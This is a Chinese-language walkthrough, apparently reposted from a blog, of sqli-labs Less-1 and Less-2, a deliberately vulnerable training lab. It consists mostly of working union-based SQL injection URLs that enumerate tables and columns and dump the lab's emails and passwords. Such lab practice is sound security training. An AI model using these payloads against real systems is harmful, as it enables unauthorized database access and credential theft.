Less-1：

 1.用order by得出待查表里有三个字段
　　http://192.168.40.165/sqli-labs-master/Less-1/?id=1‘ order by 3--+
2.用union select得到数据库名——security
　　http://192.168.40.165/sqli-labs-master/Less-1/?id=-1‘ union select 1,database(),2--+
3.用select group_concat(table_name) from information_schema.columns where table_schema=database()得到数据表名——emails,referers,referers,uagents,users
　　http://192.168.40.165/sqli-labs-master/Less-1/?id=-1‘ union select 1,database(),(select group_concat(table_name) from information_schema.columns where table_schema=database())--+
4.用select group_concat(column_name) from information_schema.columns where table_name=‘emails‘得到数据表中的字段名——id,email_id
　　http://192.168.40.165/sqli-labs-master/Less-1/?id=-1‘ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘emails‘),database()--+
5.用select group_concat(id,email_id) from emails 得到字段的值——name:1Dumb@dhakkan.com,2Angel@iloveu.com,3Dummy@dhakkan.local,4secure@dhakkan.local,5stupid@dhakkan.local,6superman@dhakkan.local,7batman@dhakkan.local,8admin@dhakkan.com
　　http://192.168.40.165/sqli-labs-master/Less-1/?id=-1‘ union select 1,(select group_concat(id,email_id) from emails),database()--+

less-2

在2里面"and"居然失效了，好迷啊，索性"order by"还可以用

• 有三列数据：
  • http://192.168.40.165/sqli-labs-master/Less-2/?id=1 order by 3--+
• 当前数据库：security
  • http://192.168.40.165/sqli-labs-master/Less-2/?id=-1 union select 1,database(),3--+
• security里面的数据表：_emails,_emails,_referers,_referers,_referers,_uagents,_uagents,_uagents,_uagents,_users,_users,_users
  • http://192.168.40.165/sqli-labs-master/Less-2/?id=-1 union select 1,database(),(select group_concat(‘_‘,table_name) from information_schema.columns where table_schema=database())--+
• users表里的字段：user_id,first_name,last_name,user,password,avatar,id,username,password
  • http://192.168.40.165/sqli-labs-master/Less-2/?id=-1 union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_name=‘users‘)--+
• 得到字段值：DumbDumb,AngelinaI-kill-you,Dummyp@ssword,securecrappy,stupidstupidity,supermangenious,batmanmob!le,adminadmin,admin1admin1,admin2admin2,admin3admin3,dhakkandumbo,admin4admin4
  • http://192.168.40.165/sqli-labs-master/Less-2/?id=-1 union select 1,(select group_concat(username,password) from users),(select group_concat(column_name) from information_schema.columns where table_name=‘users‘)--+

原文：https://www.cnblogs.com/chrysanthemum/p/11518038.html